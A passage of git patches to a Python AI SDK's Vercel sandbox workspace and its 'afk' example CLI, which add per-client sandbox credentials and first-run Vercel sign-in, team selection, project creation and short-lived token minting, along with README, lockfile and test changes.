b/src/ai/workspaces/experimental/_sandbox.py @@ -512,6 +512,7 @@ def __init__( self._keep = keep if keep is not None else name is not None self._ports = list(ports or []) self._sandbox: vercel_sandbox.Sandbox | None = None + self._client: vercel_sandbox.SandboxClient | None = None self._children: list[SandboxProcess] = [] @property @@ -533,17 +534,49 @@ def coords(self) -> _base.WorkspaceCoords: async def open(self) -> None: if self._sandbox is not None: return - from vercel.sandbox import create_sandbox, get_sandbox # noqa: PLC0415 + try: + await self._open() + except BaseException: + await self._close_client() + raise + + def _api(self) -> Any: + """Where sandbox calls go. + + With explicit credentials, a client of their own: vercel-sandbox + 0.7 takes credentials per client, not per call. Otherwise the + module, which resolves them from the environment. + """ + from vercel import sandbox # noqa: PLC0415 + + if not self._credentials: + return sandbox + if self._client is None: + credentials = _explicit_credentials(self._credentials) + + async def factory() -> vercel_sandbox.SandboxCredentials: + return credentials + + self._client = sandbox.SandboxClient.create( + options=sandbox.SandboxServiceOptions( + credentials_factory=factory + ) + ) + return self._client + async def _close_client(self) -> None: + client, self._client = self._client, None + if client is not None: + with contextlib.suppress(Exception): + await client.aclose() + + async def _open(self) -> None: + api = self._api() if self._name is not None: try: - # Same credentials create_sandbox gets: env-based auth works - # without them, but a caller who passed token=/team_id= must - # reach the same account on reconnect. - credentials: dict[str, Any] = dict(self._credentials) - self._sandbox = await get_sandbox( - name=self._name, **credentials - ) + # The same client create_sandbox gets: a caller who passed + # token=/team_id= must reach the same account on reconnect. + self._sandbox = await api.get_sandbox(name=self._name) except Exception as exc: if _looks_like_auth_failure(exc): raise errors_.NotAuthenticatedError( @@ -585,7 +618,7 @@ async def open(self) -> None: "instead." ) return - options: dict[str, Any] = dict(self._credentials) + options: dict[str, Any] = {} if self.env: options["env"] = dict(self.env) if self._execution_time_limit is not None: @@ -601,7 +634,7 @@ async def open(self) -> None: self.gateway, (*INSTALL_HOSTS, *self._allow_hosts) ) try: - self._sandbox = await create_sandbox(**options) + self._sandbox = await api.create_sandbox(**options) except Exception as exc: if _looks_like_auth_failure(exc): raise errors_.NotAuthenticatedError( @@ -651,6 +684,7 @@ async def close(self) -> None: await child.detach() self._children.clear() self._forget_vm() + await self._close_client() return # Stopping the VM ends every process in it at once, so there is no # reason to climb the per-process ladder here: just let go of our @@ -664,6 +698,7 @@ async def close(self) -> None: async with asyncio.timeout(60): await self._sandbox.stop() self._forget_vm() + await self._close_client() @property def name(self) -> str | None: @@ -1216,6 +1251,64 @@ def _parse_env(path: Path) -> dict[str, str]: return values +def _explicit_credentials( + given: Mapping[str, str], +) -> vercel_sandbox.SandboxCredentials: + """Complete `token=`/`team_id=`/`project_id=` from the environment. + + A project token (OIDC) also names its own project and team, so a token + alone is enough when it is one. + """ + from vercel import sandbox # noqa: PLC0415 + + token = ( + given.get("token") + or os.environ.get("VERCEL_TOKEN") + or os.environ.get("VERCEL_OIDC_TOKEN") + ) + claims = _jwt_claims(token) if token else {} + team = ( + given.get("team_id") + or os.environ.get("VERCEL_TEAM_ID") + or claims.get("owner_id") + ) + project = ( + given.get("project_id") + or os.environ.get("VERCEL_PROJECT_ID") + or claims.get("project_id") + ) + if not (token and team and project): + missing = [ + name + for name, value in ( + ("token", token), + ("team_id", team), + ("project_id", project), + ) + if not value + ] + raise ai_errors.ConfigurationError( + "VercelSandbox needs a token, a team_id and a project_id; missing " + + ", ".join(missing) + ) + return sandbox.SandboxCredentials( + token=token, team_id=str(team), project_id=str(project) + ) + + +def _jwt_claims(token: str) -> dict[str, Any]: + """Decode a JWT's claims without verifying them; {} for anything else.""" + if token.count(".") != 2: + return {} + payload = token.split(".")[1] + payload += "=" * (-len(payload) % 4) + try: + claims = json.loads(base64.urlsafe_b64decode(payload)) + except Exception: + return {} + return claims if isinstance(claims, dict) else {} + + def oidc_token_expiry(token: str | None) -> float | None: """Return the `exp` claim of a Vercel OIDC JWT, or None. @@ -1224,15 +1317,7 @@ def oidc_token_expiry(token: str | None) -> float | None: Decoded, not verified: this is for telling a caller WHY the platform said 403, not for trusting the token. """ - if not token or token.count(".") != 2: - return None - payload = token.split(".")[1] - payload += "=" * (-len(payload) % 4) - try: - claims = json.loads(base64.urlsafe_b64decode(payload)) - except Exception: - return None - exp = claims.get("exp") + exp = _jwt_claims(token).get("exp") if token else None return float(exp) if isinstance(exp, int | float) else None diff --git a/uv.lock b/uv.lock index 367fe32b..6214536a 100644 --- a/uv.lock +++ b/uv.lock @@ -62,6 +62,7 @@ dev = [ { name = "rich" }, { name = "ruff" }, { name = "ty" }, + { name = "vercel-internal-core" }, { name = "vercel-oidc" }, { name = "vercel-sandbox" }, ] @@ -100,7 +101,9 @@ dev = [ { name = "rich", specifier = ">=14.2.0" }, { name = "ruff", specifier = "~=0.8.0" }, { name = "ty", specifier = "~=0.0.37" }, + { name = "vercel-internal-core", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&rev=main" }, { name = "vercel-oidc", specifier = ">=0.8.0" }, + { name = "vercel-oidc", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&rev=main" }, { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=main" }, ] @@ -1413,34 +1416,26 @@ wheels = [ [[package]] name = "vercel-internal-core" version = "0.2.0" -source = { registry = "https://pypi.org/simple" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&rev=main#a337e549acb8f69872c5537d91f981e5e9edac5e" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/3e/61/3c15abe726c63ab0a44f75dbe49bd6221b8b17b424c2810b3086b404b6fb/vercel_internal_core-0.2.0.tar.gz", hash = "sha256:84bf3ff08a066682c8f02cadcc93a3e7580c27a06627db9f8e8d640bbe2fb53b", size = 19629, upload-time = "2026-09-15T14:33:29.705Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/90/7e/6cff886cddefc90479c2c73ada0fdcae0e6ba6362af8d2183cb5a1929d7d/vercel_internal_core-0.2.0-py3-none-any.whl", hash = "sha256:63069093f3ecaf09feed51fb602dfb4dc5ed17ac01524965881f46406c0d83f5", size = 23866, upload-time = "2026-09-15T14:33:28.855Z" }, -] [[package]] name = "vercel-oidc" version = "0.9.0" -source = { registry = "https://pypi.org/simple" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&rev=main#a337e549acb8f69872c5537d91f981e5e9edac5e" } dependencies = [ { name = "anyio" }, { name = "httpx2" }, { name = "vercel-headers" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/65/f2/6767fdc4c53311ee6121bf958c1bb2ea00b8e9e19bdc59e1ffe5b4372bf3/vercel_oidc-0.9.0.tar.gz", hash = "sha256:71d59da7b96b53fa0f7255ee7cb39ae739623c497b15f9ec3b354ea7086c1a9d", size = 16119, upload-time = "2026-09-15T14:33:37.43Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/67/45/9ca537a8a1d2d5bdd60b9f5cab361c819ca9e13cc45248d4a917c3b7f7ef/vercel_oidc-0.9.0-py3-none-any.whl", hash = "sha256:04c99314aeeeb6ec3abaaad1729cbbe4df6dfad051771469585da843e0fbd7ff", size = 16005, upload-time = "2026-09-15T14:33:36.541Z" }, -] [[package]] name = "vercel-sandbox" version = "0.7.0" -source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=main#d11705834e2e98973fe2c9998338f12c78471aad" } +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=main#a337e549acb8f69872c5537d91f981e5e9edac5e" } dependencies = [ { name = "anyio" }, { name = "httpx2", extra = ["ws"] }, From 0de6144d760d26fcbb2550463d2d355bb8aa5318 Mon Sep 17 00:00:00 2001 From: George Date: Wed, 30 Sep 2026 10:30:57 -0700 Subject: [PATCH 06/37] afk: set up Vercel on first use, installable with uv tool install The first time afk needs a sandbox it signs in through the Vercel CLI (running `vercel login` when needed, or saying how to install the CLI), picks a team (the CLI's current team by default, asked only when there are several), creates an afk- project, and records only its ids in ~/.afk/config.json. Every run then mints a short-lived project token from the login, so there is no `vercel env pull` and nothing to refresh. The same token reaches AI Gateway, so AI_GATEWAY_API_KEY is optional. The first push checks once that the team's gateway will serve it, and offers another team when it will not. `afk setup` chooses a team again. afk takes vercel-internal-core and vercel-oidc from the same vercel-py main as vercel-sandbox: `uv tool install` does not read uv.lock. --- examples/apps/afk/README.md | 48 ++- examples/apps/afk/afk/account.py | 390 ++++++++++++++++++++++++ examples/apps/afk/afk/cli.py | 98 +++++- examples/apps/afk/afk/verbs.py | 16 +- examples/apps/afk/pyproject.toml | 10 +- examples/apps/afk/tests/test_account.py | 223 ++++++++++++++ examples/apps/afk/uv.lock | 12 +- 7 files changed, 768 insertions(+), 29 deletions(-) create mode 100644 examples/apps/afk/afk/account.py create mode 100644 examples/apps/afk/tests/test_account.py diff --git a/examples/apps/afk/README.md b/examples/apps/afk/README.md index d519d427..c22e6371 100644 --- a/examples/apps/afk/README.md +++ b/examples/apps/afk/README.md @@ -34,6 +34,7 @@ afk push [--bg] · attach · peek · pull [--files] · stop | `afk peek ` | watch an unattended agent's transcript, read-only | | `afk pull [--files]` | bring a conversation home and open it in the TUI here; `--files` also brings the files it changed there, after showing them and asking | | `afk stop ` | end its sandbox | +| `afk setup` | choose the Vercel team afk's sandboxes use | **Ctrl-]** detaches from a sandbox TUI and leaves it running. A pulled conversation opens in an ordinary local TUI: quit it as you always do. @@ -122,20 +123,51 @@ A remote conversation's status says what you can do with it: The SDK keeps no registry and never will: app state is the app's. -## Running it +## Install + +```bash +uv tool install "git+https://github.com/vercel-labs/ai-python@harnesses-experimental#subdirectory=examples/apps/afk" +``` + +Or from a checkout: `uv tool install ./examples/apps/afk`. Then run `afk` +in any directory where you use `claude` or `codex`. afk keeps its own files +in `~/.afk/` and writes into your project only on `afk pull --files`. + +## Vercel, set up on first use + +The first time afk needs a sandbox, it sets itself up. It asks only when it +has to: + +1. It signs in through the Vercel CLI. Not installed: afk says how to install + it (`npm i -g vercel`). Not logged in: afk runs `vercel login` for you. +2. It picks a team. With one team there is no question. With several, it + lists them with your Vercel CLI's current team as the default: press + Enter to accept. `AFK_TEAM=` decides without asking. +3. It creates a project named `afk-` in that team for its sandboxes + and records the ids in `~/.afk/config.json`. The file holds no secrets. + +After that, every run mints a short-lived project token from your login, so +there is nothing to pull or refresh. `afk setup` chooses a team again. + +The sandbox reaches a model through AI Gateway with that same token, so +`AI_GATEWAY_API_KEY` is optional. The first push checks, once, that the +team's AI Gateway will serve it; a team without a card on file is refused, +and afk says so and offers another team. With `AI_GATEWAY_API_KEY` set, afk +uses that key instead. Either way the key never enters the VM: the sandbox +injects it at egress. + +Credentials already in the environment always win: `VERCEL_OIDC_TOKEN`, or +`VERCEL_TOKEN` with `VERCEL_TEAM_ID` and `VERCEL_PROJECT_ID`. On this +machine, the CLIs keep using your own login unless you set +`AI_GATEWAY_API_KEY`. + +## Developing ``` cd examples/apps/afk uv run afk # or: uv run python -m afk ``` -Credentials come from the environment. `AI_GATEWAY_API_KEY` is how the -sandbox reaches a model (the key never enters the VM; the sandbox injects it -at egress). Sandbox credentials are `VERCEL_OIDC_TOKEN`, or `VERCEL_TOKEN` -with `VERCEL_TEAM_ID` and `VERCEL_PROJECT_ID`; `vercel env pull .env.local` -writes them, and the OIDC token is short-lived — a 403 on push means pull -again. Locally, without a gateway key, the harness uses your own login. - Tests, in `examples/apps/afk`: `uv run pytest -m "not live"` runs the pure parts offline; `uv run pytest` also runs the live listing tests, which need a real `claude` and Vercel credentials. diff --git a/examples/apps/afk/afk/account.py b/examples/apps/afk/afk/account.py new file mode 100644 index 00000000..768e53be --- /dev/null +++ b/examples/apps/afk/afk/account.py @@ -0,0 +1,390 @@ +"""Vercel credentials for afk, set up the first time a sandbox is needed. + +A globally installed CLI cannot rely on a `.env.local` in whatever directory +it runs from. afk signs in through the Vercel CLI instead: + +- Credentials already in the environment win (`VERCEL_OIDC_TOKEN`, or + `VERCEL_TOKEN` with `VERCEL_TEAM_ID` and `VERCEL_PROJECT_ID`). +- Otherwise afk uses your `vercel login`, and a project of its own named + `afk-`, created on first use and recorded in `~/.afk/config.json`. + That file holds ids only; every run mints a short-lived project token from + your login, so nothing afk stores can leak a secret or expire. + +The same token reaches the model: AI Gateway accepts it, so +`AI_GATEWAY_API_KEY` is optional. +""" + +from __future__ import annotations + +import json +import os +import secrets +import shutil +import subprocess +import sys +import time +import urllib.error +import urllib.request +from typing import TYPE_CHECKING, Any + +from pydantic import BaseModel +from vercel.oidc import token as oidc_token +from vercel.oidc import utils as oidc_utils + +from . import state as st + +if TYPE_CHECKING: + from collections.abc import Callable + from pathlib import Path + +API = "https://api.vercel.com" +GATEWAY = "https://ai-gateway.vercel.sh" +PROBE_MODEL = "anthropic/claude-haiku-4.5" +INSTALL_HINT = "npm i -g vercel (or: pnpm add -g vercel)" +TOKEN_MARGIN = 5 * 60 +"""Seconds of life a cached project token must have left to be reused.""" + + +class AccountError(Exception): + """afk could not get Vercel credentials; the message says what to do.""" + + +class Config(BaseModel): + """The Vercel project afk creates sandboxes in. Ids only, no secrets.""" + + team_id: str | None + team_slug: str | None + project_id: str + project_name: str + gateway_ok: bool = False + """The team's AI Gateway served a request once; not asked again.""" + + +def config_path() -> Path: + """`config.json` next to afk's state file: `~/.afk/` by default.""" + return st.state_path().parent / "config.json" + + +def load_config() -> Config | None: + try: + return Config.model_validate_json(config_path().read_text()) + except FileNotFoundError: + return None + + +def save_config(config: Config) -> None: + path = config_path() + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(config.model_dump_json(indent=2) + "\n") + + +def ensure( + *, interactive: bool, fresh: bool = False, for_gateway: bool = False +) -> str | None: + """Make Vercel credentials available to the sandbox SDK in this process. + + Returns the project token when afk minted one (it doubles as the AI + Gateway credential), or None when the environment already had + credentials. `fresh` mints a new token even if a cached one is valid, + for a push whose sandbox should outlive the cached token. + `for_gateway` also makes sure the team's AI Gateway will serve that + token, the first time it is used that way. + """ + if os.environ.get("VERCEL_OIDC_TOKEN"): + return os.environ["VERCEL_OIDC_TOKEN"] + if all( + os.environ.get(k) + for k in ("VERCEL_TOKEN", "VERCEL_TEAM_ID", "VERCEL_PROJECT_ID") + ): + return None + login = cli_token(interactive=interactive) + config = load_config() or setup(login, interactive=interactive) + try: + token = project_token(login, config, fresh=fresh) + except Exception: + # The recorded project is gone (deleted, or its team left): start + # over rather than failing every run from now on. + print( + f"afk: the Vercel project {config.project_name} is no longer " + "available; setting up a new one" + ) + config = setup(login, interactive=interactive) + token = project_token(login, config, fresh=True) + if for_gateway and not config.gateway_ok: + config, token = _check_gateway( + login, config, token, interactive=interactive + ) + os.environ["VERCEL_OIDC_TOKEN"] = token + os.environ["VERCEL_PROJECT_ID"] = config.project_id + if config.team_id: + os.environ["VERCEL_TEAM_ID"] = config.team_id + return token + + +def cli_token(*, interactive: bool) -> str: + """The Vercel CLI's login token, signing in first when there is none.""" + token = oidc_utils.get_vercel_cli_token() + if token: + return token + if shutil.which("vercel") is None: + raise AccountError( + "afk signs in to Vercel through the Vercel CLI, which is not " + f"installed. Install it with `{INSTALL_HINT}`, then run afk " + "again. (Or set VERCEL_TOKEN, VERCEL_TEAM_ID and " + "VERCEL_PROJECT_ID.)" + ) + if not interactive: + raise AccountError( + "afk needs you signed in to Vercel: run `vercel login`, then run " + "afk again" + ) + print("afk: signing you in to Vercel (only needed once)") + subprocess.run(["vercel", "login"], check=False) + token = oidc_utils.get_vercel_cli_token() + if not token: + raise AccountError( + "still not signed in to Vercel; run `vercel login` and try again" + ) + return token + + +def _check_gateway( + login: str, config: Config, token: str, *, interactive: bool +) -> tuple[Config, str]: + """Make sure AI Gateway serves the team; offer another team if not. + + One tiny request, once: a team without a card on file is refused with + `customer_verification_required`, and a sandbox would only find out + when its agent could not reach a model. + """ + while True: + refusal = gateway_refusal(token) + if refusal is None: + config = config.model_copy(update={"gateway_ok": True}) + save_config(config) + return config, token + where = config.team_slug or "your account" + message = ( + f"AI Gateway will not serve {where} yet: {refusal}\n" + "Add a card there, set AI_GATEWAY_API_KEY, or choose another " + "team" + ) + if not interactive: + raise AccountError(f"{message} with `afk setup`.") + print(f"afk: {message}.") + if ask_yes("afk: choose another team now? [Y/n] ", default=True): + config = setup(login, interactive=True, exclude=config.team_id) + token = project_token(login, config, fresh=True) + continue + raise AccountError("run `afk setup` when you are ready") + + +def gateway_refusal(token: str) -> str | None: + """Why AI Gateway refuses this token, or None when it serves it. + + A one-token request: the free endpoints answer even for a team that + cannot be billed. Network trouble is not a refusal; the push goes on. + """ + body = { + "model": PROBE_MODEL, + "max_tokens": 1, + "messages": [{"role": "user", "content": "hi"}], + } + request = urllib.request.Request( + f"{GATEWAY}/v1/chat/completions", + method="POST", + data=json.dumps(body).encode(), + headers={ + "Authorization": f"Bearer {token}", + "Content-Type": "application/json", + }, + ) + try: + with urllib.request.urlopen(request, timeout=30): + return None + except urllib.error.HTTPError as exc: + if exc.code not in (401, 402, 403): + return None + try: + error = json.load(exc).get("error") or {} + except ValueError: + error = {} + return str(error.get("message") or f"HTTP {exc.code}") + except OSError: + return None + + +def ask_yes( + prompt: str, *, default: bool, ask: Callable[[str], str] = input +) -> bool: + answer = ask(prompt).strip().lower() + return default if not answer else answer in ("y", "yes") + + +def setup( + login: str, *, interactive: bool, exclude: str | None = None +) -> Config: + """Pick a team and create afk's own project in it. + + Runs by itself the first time a sandbox is needed, and again with + `afk setup` to switch teams. `exclude` leaves out a team that was just + found unusable. + """ + teams = [t for t in list_teams(login) if t.get("id") != exclude] + team = choose_team(teams, interactive=interactive) + query = f"?teamId={team['id']}" if team else "" + for _ in range(5): + name = f"afk-{secrets.token_hex(3)}" + try: + project = api( + "POST", f"/v11/projects{query}", login, {"name": name} + ) + break + except urllib.error.HTTPError as exc: + if exc.code != 409: # 409: that name is taken; try another + raise AccountError( + f"could not create a Vercel project for afk: HTTP " + f"{exc.code} {exc.reason}" + ) from exc + else: + raise AccountError("could not find a free afk-* project name") + config = Config( + team_id=team["id"] if team else None, + team_slug=team["slug"] if team else None, + project_id=project["id"], + project_name=name, + ) + save_config(config) + where = f" in {team['slug']}" if team else "" + print( + f"afk: created the Vercel project {name}{where} for your sandboxes " + f"(recorded in {_tilde(config_path())})" + ) + return config + + +def list_teams(login: str) -> list[dict[str, Any]]: + try: + data = api("GET", "/v2/teams?limit=100", login) + except urllib.error.HTTPError as exc: + if exc.code in (401, 403): + raise AccountError( + "your Vercel CLI login has expired; run `vercel login` and " + "try again" + ) from exc + raise + return list(data.get("teams") or []) + + +def choose_team( + teams: list[dict[str, Any]], + *, + interactive: bool, + ask: Callable[[str], str] = input, +) -> dict[str, Any] | None: + """The team afk's project goes in. Asked once, on first use. + + `AFK_TEAM` (slug or id) decides without asking. One team needs no + question. Otherwise the Vercel CLI's current team is the default: Enter + accepts it. Without a terminal to ask on, that default is used; with no + default either, afk says how to choose. + """ + if not teams: + return None # an account without teams: its personal scope + wanted = os.environ.get("AFK_TEAM") + if wanted: + for team in teams: + if wanted in (team.get("slug"), team.get("id")): + return team + raise AccountError( + f"AFK_TEAM={wanted} is not one of your Vercel teams: " + + ", ".join(t["slug"] for t in teams) + ) + if len(teams) == 1: + return teams[0] + current = cli_current_team() + default = next((t for t in teams if t["id"] == current), None) + if not interactive: + if default is not None: + return default + raise AccountError( + "afk needs to know which Vercel team to use; set AFK_TEAM to " + "one of: " + ", ".join(t["slug"] for t in teams) + ) + print("afk: which Vercel team should afk's sandboxes belong to?") + for n, team in enumerate(teams, 1): + mark = " (Vercel CLI's current team)" if team is default else "" + print(f" {n:>2}. {team['slug']}{mark}") + prompt = "afk: team number" + prompt += f" [{teams.index(default) + 1}]: " if default else ": " + while True: + answer = ask(prompt).strip() + if not answer and default is not None: + return default + if answer.isdigit() and 1 <= int(answer) <= len(teams): + return teams[int(answer) - 1] + print(f"afk: enter a number from 1 to {len(teams)}") + + +def cli_current_team() -> str | None: + data_dir = oidc_utils.get_vercel_data_dir() + if not data_dir: + return None + try: + with open(os.path.join(data_dir, "config.json")) as f: + team = json.load(f).get("currentTeam") + except (OSError, ValueError): + return None + return team if isinstance(team, str) else None + + +def project_token(login: str, config: Config, *, fresh: bool) -> str: + """A short-lived token for afk's project, minted from your login. + + Cached by the Vercel SDK in its own data directory, never in the + current one, and reused while it has life left. + """ + if not fresh: + cached = oidc_utils.load_token(config.project_id) + if cached is not None and seconds_left(cached.token) > TOKEN_MARGIN: + return str(cached.token) + minted = oidc_token.fetch_vercel_oidc_token( + login, config.project_id, config.team_id + ) + if minted is None: + raise RuntimeError("the Vercel API returned no project token") + oidc_utils.save_token(minted, config.project_id) + return str(minted.token) + + +def seconds_left(token: str) -> float: + """How long a project token stays valid.""" + exp = oidc_utils.get_token_payload(token).get("exp") + return float(exp) - time.time() if isinstance(exp, int | float) else 0.0 + + +def api( + method: str, path: str, token: str, body: dict[str, Any] | None = None +) -> dict[str, Any]: + request = urllib.request.Request( + API + path, + method=method, + data=json.dumps(body).encode() if body is not None else None, + headers={ + "Authorization": f"Bearer {token}", + "Content-Type": "application/json", + }, + ) + with urllib.request.urlopen(request, timeout=30) as response: + result: dict[str, Any] = json.load(response) + return result + + +def interactive() -> bool: + return sys.stdin.isatty() and sys.stdout.isatty() + + +def _tilde(path: Path) -> str: + home = str(path.home()) + text = str(path) + return "~" + text[len(home) :] if text.startswith(home) else text diff --git a/examples/apps/afk/afk/cli.py b/examples/apps/afk/afk/cli.py index 71fa7553..cbcd8cc0 100644 --- a/examples/apps/afk/afk/cli.py +++ b/examples/apps/afk/afk/cli.py @@ -8,6 +8,7 @@ afk pull [--files] bring it home, in the TUI; --files brings its edits too afk stop end its sandbox + afk setup choose the Vercel team afk's sandboxes use An id is whatever the list showed: a label you gave (`--as`), a word from a title, or a short id prefix. With none, the one conversation clearly in use @@ -31,8 +32,8 @@ WorkspaceGoneError, ) +from . import account, verbs from . import state as st -from . import verbs from .resolve import AmbiguousError, NoMatchError, match, pick from .rows import KIND_SHORT, Row, local_rows, remote_rows, stored_rows @@ -43,9 +44,30 @@ def gateway() -> Gateway | None: + """This machine's gateway: only when you set AI_GATEWAY_API_KEY. + + Otherwise the CLIs here use your own login, as they do without afk. + """ return vercel_ai_gateway() if os.environ.get("AI_GATEWAY_API_KEY") else None +def sandbox_gateway(*, fresh: bool = False) -> Gateway | None: + """How a sandbox reaches a model, signing in to Vercel on first use. + + AI_GATEWAY_API_KEY when set; otherwise the project token afk mints from + your `vercel login`, which AI Gateway accepts too. + """ + own = gateway() + token = account.ensure( + interactive=account.interactive(), + fresh=fresh, + # Only a push fixes a sandbox's model credential, so only a push + # checks that the team's AI Gateway will serve afk's token. + for_gateway=fresh and own is None, + ) + return own or (vercel_ai_gateway(api_key=token) if token else None) + + LIST_CAP = 15 DEFAULT_HOURS = 5.0 """A pushed sandbox's lifetime. @@ -55,13 +77,19 @@ def gateway() -> Gateway | None: """ -async def listing(cwd: Path, gw: Gateway | None, *, everything: bool) -> None: +async def listing( + cwd: Path, + gw: Gateway | None, + remote_gw: Gateway | None, + *, + everything: bool, +) -> None: """The list, drawn as it arrives: this directory's conversations as soon as the local stores answer, the pushed ones once their sandboxes do — a slow sandbox never holds up what is already known.""" state = st.load() away = ( - asyncio.create_task(remote_rows(state, cwd, gw)) + asyncio.create_task(remote_rows(state, cwd, remote_gw)) if state.for_origin(str(cwd)) else None ) @@ -175,12 +203,37 @@ async def main_async(argv: list[str]) -> int: help="also bring home the files it changed there; asks first", ) sub.add_parser("stop").add_argument("id") + sub.add_parser("setup") args = parser.parse_args(argv) cwd = Path.cwd().resolve() + if args.verb == "setup": + try: + config = account.setup( + account.cli_token(interactive=account.interactive()), + interactive=account.interactive(), + ) + except account.AccountError as exc: + print(f"afk: {exc}") + return 2 + print( + f"afk: sandboxes now go to {config.project_name}" + + (f" in {config.team_slug}" if config.team_slug else "") + ) + return 0 try: gw = gateway() - except NotAuthenticatedError as exc: + # Vercel is needed only once a sandbox is: never for a directory + # with nothing pushed, so a first `afk` asks nothing. + needs_sandbox = args.verb is not None or bool( + st.load().for_origin(str(cwd)) + ) + remote_gw = ( + sandbox_gateway(fresh=args.verb == "push") + if needs_sandbox + else None + ) + except (NotAuthenticatedError, account.AccountError) as exc: print(f"afk: {exc}") return 2 try: @@ -188,7 +241,7 @@ async def main_async(argv: list[str]) -> int: # push needs this directory's conversations; the rest need afk's # own record of what it pushed, and then that one sandbox. if args.verb is None: - await listing(cwd, gw, everything=args.everything) + await listing(cwd, gw, remote_gw, everything=args.everything) return 0 if args.verb == "push": rows, _, _ = await local_rows(cwd, gw) @@ -204,8 +257,9 @@ async def main_async(argv: list[str]) -> int: row, label=args.label, background=args.bg, - hours=args.hours, - gateway=gw, + hours=_hours(args.hours, gw, remote_gw), + gateway=remote_gw, + local_gateway=gw, ) return 0 row = choose( @@ -215,13 +269,15 @@ async def main_async(argv: list[str]) -> int: return 1 try: if args.verb == "attach": - await verbs.attach(row, gw) + await verbs.attach(row, remote_gw) elif args.verb == "peek": - await verbs.peek(row, gw) + await verbs.peek(row, remote_gw) elif args.verb == "pull": - await verbs.pull(cwd, row, gw, with_files=args.files) + await verbs.pull( + cwd, row, remote_gw, with_files=args.files, local_gateway=gw + ) elif args.verb == "stop": - await verbs.stop(row, gw) + await verbs.stop(row, remote_gw) except WorkspaceGoneError: # These verbs trust afk's record without asking every sandbox # first; when the record turns out stale, correct it here. @@ -244,6 +300,26 @@ async def main_async(argv: list[str]) -> int: return 1 +def _hours( + hours: float, gw: Gateway | None, remote_gw: Gateway | None +) -> float: + """Cap a push's lifetime at its model credential's, when that is afk's. + + The sandbox injects its credential once, when it is created. A project + token lives about 12 hours; AI_GATEWAY_API_KEY does not expire. + """ + if gw is not None or remote_gw is None: + return hours + left = (account.seconds_left(remote_gw.credential) - 600) / 3600 + if hours <= left: + return hours + print( + f"afk: the sandbox lives up to {left:.1f}h: that is how long its " + "Vercel project token lasts (set AI_GATEWAY_API_KEY for longer)" + ) + return left + + def _one_line_warning( message: Warning | str, category: type[Warning], diff --git a/examples/apps/afk/afk/verbs.py b/examples/apps/afk/afk/verbs.py index 68b45fa6..00e2fa37 100644 --- a/examples/apps/afk/afk/verbs.py +++ b/examples/apps/afk/afk/verbs.py @@ -54,6 +54,7 @@ async def push( background: bool, hours: float, gateway: Gateway | None, + local_gateway: Gateway | None = None, ) -> st.Remote: """Copy the conversation, and this directory as it is now, into a sandbox of its own. Push copies: the local one stays; if you keep typing @@ -65,14 +66,18 @@ async def push( `hours` is how long the sandbox may live. The platform's default is five MINUTES — measured: a pushed TUI was gone - before its owner came back — so afk always says how long.""" + before its owner came back — so afk always says how long. + + `gateway` is how the sandbox reaches a model; `local_gateway` is only + for this machine, where your own CLI login applies unless you set one. + """ if gateway is None: raise HarnessError( - "afk push needs AI_GATEWAY_API_KEY: the sandbox reaches the model " - "through the gateway" + "afk push needs a way for the sandbox to reach a model: sign in " + "to Vercel, or set AI_GATEWAY_API_KEY" ) # 1. The past, from the harness's own store here. - async with Local(cwd, gateway=gateway) as here: + async with Local(cwd, gateway=local_gateway) as here: async with HARNESSES[row.kind](workspace=here) as agent: history = await agent.history(row.session_id) @@ -355,6 +360,7 @@ async def pull( gateway: Gateway | None, *, with_files: bool, + local_gateway: Gateway | None = None, ask: Callable[[str], str] = input, ) -> None: """Bring it home: the conversation's past, into a new one here, in the @@ -369,7 +375,7 @@ async def pull( await _pull_files( cwd, ws, st.load().baselines.get(row.sandbox), ask ) - async with Local(cwd, gateway=gateway) as here: + async with Local(cwd, gateway=local_gateway) as here: agent = HARNESSES[row.kind](workspace=here) await agent.open() # An ordinary local TUI: no detach key, quit it as you always do. diff --git a/examples/apps/afk/pyproject.toml b/examples/apps/afk/pyproject.toml index ae899ec4..5da07b21 100644 --- a/examples/apps/afk/pyproject.toml +++ b/examples/apps/afk/pyproject.toml @@ -5,8 +5,10 @@ description = "Step away; your agents don't. A CLI on ai.harnesses" requires-python = ">=3.12" dependencies = [ "ai[claude-code,sandbox]", - # direct, so the git source below applies (see tool.uv.sources) + # direct, so the git sources below apply (see tool.uv.sources) "vercel-sandbox", + "vercel-internal-core", + "vercel-oidc", ] [project.scripts] @@ -32,8 +34,12 @@ exclude-newer = "2 days" # ai.harnesses is not released yet, so the app runs on this checkout. ai = { path = "../../..", editable = true } # vercel/vercel-py#415 (interactive PTY) is merged to main but not released; -# uv.lock pins the commit. Drop this once the `sandbox` extra has a real floor. +# uv.lock pins the commit. Drop these once the `sandbox` extra has a real +# floor. The siblings come from the same main: vercel-sandbox there needs an +# unreleased vercel-internal-core, and `uv tool install` does not read uv.lock. vercel-sandbox = { git = "https://github.com/vercel/vercel-py", branch = "main", subdirectory = "src/vercel-sandbox" } +vercel-internal-core = { git = "https://github.com/vercel/vercel-py", branch = "main", subdirectory = "src/vercel-internal-core" } +vercel-oidc = { git = "https://github.com/vercel/vercel-py", branch = "main", subdirectory = "src/vercel-oidc" } [tool.pytest.ini_options] asyncio_mode = "auto" diff --git a/examples/apps/afk/tests/test_account.py b/examples/apps/afk/tests/test_account.py new file mode 100644 index 00000000..d210b303 --- /dev/null +++ b/examples/apps/afk/tests/test_account.py @@ -0,0 +1,223 @@ +"""First-run Vercel setup: every decision afk makes, without the network.""" + +from __future__ import annotations + +import email.message +import io +import urllib.error +from typing import Any + +import pytest +from afk import account + +TEAMS = [ + {"id": "team_a", "slug": "personal"}, + {"id": "team_b", "slug": "acme"}, +] + + +@pytest.fixture(autouse=True) +def clean_env(monkeypatch: 